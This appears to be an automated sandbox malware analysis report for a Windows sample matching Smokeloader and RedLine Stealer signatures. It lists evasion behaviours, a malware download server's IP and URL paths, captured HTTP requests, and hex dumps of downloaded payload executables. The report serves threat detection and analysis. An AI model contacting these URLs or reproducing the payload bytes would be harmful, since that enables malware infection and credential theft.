Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1574319
MD5:	cfc94b958cba743ed8b273401e37c465
SHA1:	6abb6112d7bcee3f5ca9837ad3f0a0016267fc63
SHA256:	501c477f13b6aef38fa11de85507a55863f99d0cde075879c9c6eab4cf11572f
Tags:	exeuser-Bitsight
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

×

Process Tree

System is w10x64

file.exe (PID: 7324 cmdline: "C:\Users\user\Desktop\file.exe" MD5: CFC94B958CBA743ED8B273401E37C465)

WerFault.exe (PID: 8072 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7324 -s 580 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2665403133.0000000000F4C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10d0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://80.82.65.70/files/download.

Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\es3Yf5ZWrKdS0dDs0WN3JzEN\Y-Cleaner.exe	ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\es3Yf5ZWrKdS0dDs0WN3JzEN\Y-Cleaner.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004035B0 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		0_2_004035B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D13817 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		0_2_04D13817

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 Dec 2024 07:36:30 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 Dec 2024 07:36:32 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="soft";Content-Length: 1502720Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 2f 14 00 00 20 00 00 00 30 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f0 b9 02 00 00 60 14 00 00 ba 02 00 00 32 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 17 00 00 02 00 00 00 ec 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4f 14 00 00 00 00 00 48 00 00 00 02 00 05 00 68 7e 00 00 b8 44 00 00 01 00 00 00 55 00 00 06 20 c3 00 00 10 8c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 cb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 d9 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 eb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 1f 01 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 1a 7e 03 00 00 04 2a 1e 02 28 18 00 00 0a 2a 56 73 0e 00 00 06 28 19 00 00 0a 74 04 00 00 02 80 03 00 00 04 2a 4e 02 28 1a 00 00 0a 02 28 1e 00 00 06 02 28 11 00 00

Source: Joe Sandbox View

IP Address: 80.82.65.70 80.82.65.70

Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401940 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,

Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: sHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache

Source: file.exe, 00000000.00000003.2403846656.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450156986.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403411485.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.
Source: file.exe, 00000000.00000002.2667518035.0000000005460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp=Ee
Source: file.exe, 00000000.00000002.2667518035.0000000005460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empWD
Source: file.exe, 00000000.00000003.2348586840.0000000005474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/download
Source: file.exe, 00000000.00000002.2665430518.0000000001005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key
Source: file.exe, 00000000.00000002.2665430518.0000000001005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/keyN
Source: file.exe, 00000000.00000003.2403411485.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files
Source: file.exe, 00000000.00000003.2451035215.0000000005553000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127311530.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152495724.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202839902.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2101913818.000000000546D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download
Source: file.exe, 00000000.00000003.2202764538.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2253635667.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177624907.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228368490.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2278917288.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313742166.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348559063.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download.
Source: file.exe, 00000000.00000003.2369026142.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403702199.0000000005553000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2451035215.0000000005553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download0/files/download
Source: file.exe, 00000000.00000003.2313742166.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348559063.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download6
Source: file.exe, 00000000.00000002.2665430518.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download8yb
Source: file.exe, 00000000.00000003.2348586840.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2278951429.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177695889.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313770429.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2253670934.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228425864.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127385618.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152495724.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202839902.000000000546D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2101913818.000000000546D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadA
Source: file.exe, 00000000.00000003.2313742166.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348559063.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadJCZ
Source: file.exe, 00000000.00000003.2369026142.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228394305.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202790223.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403702199.0000000005553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadM5
Source: file.exe, 00000000.00000003.2369026142.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403702199.0000000005553000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2451035215.0000000005553000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadQ5
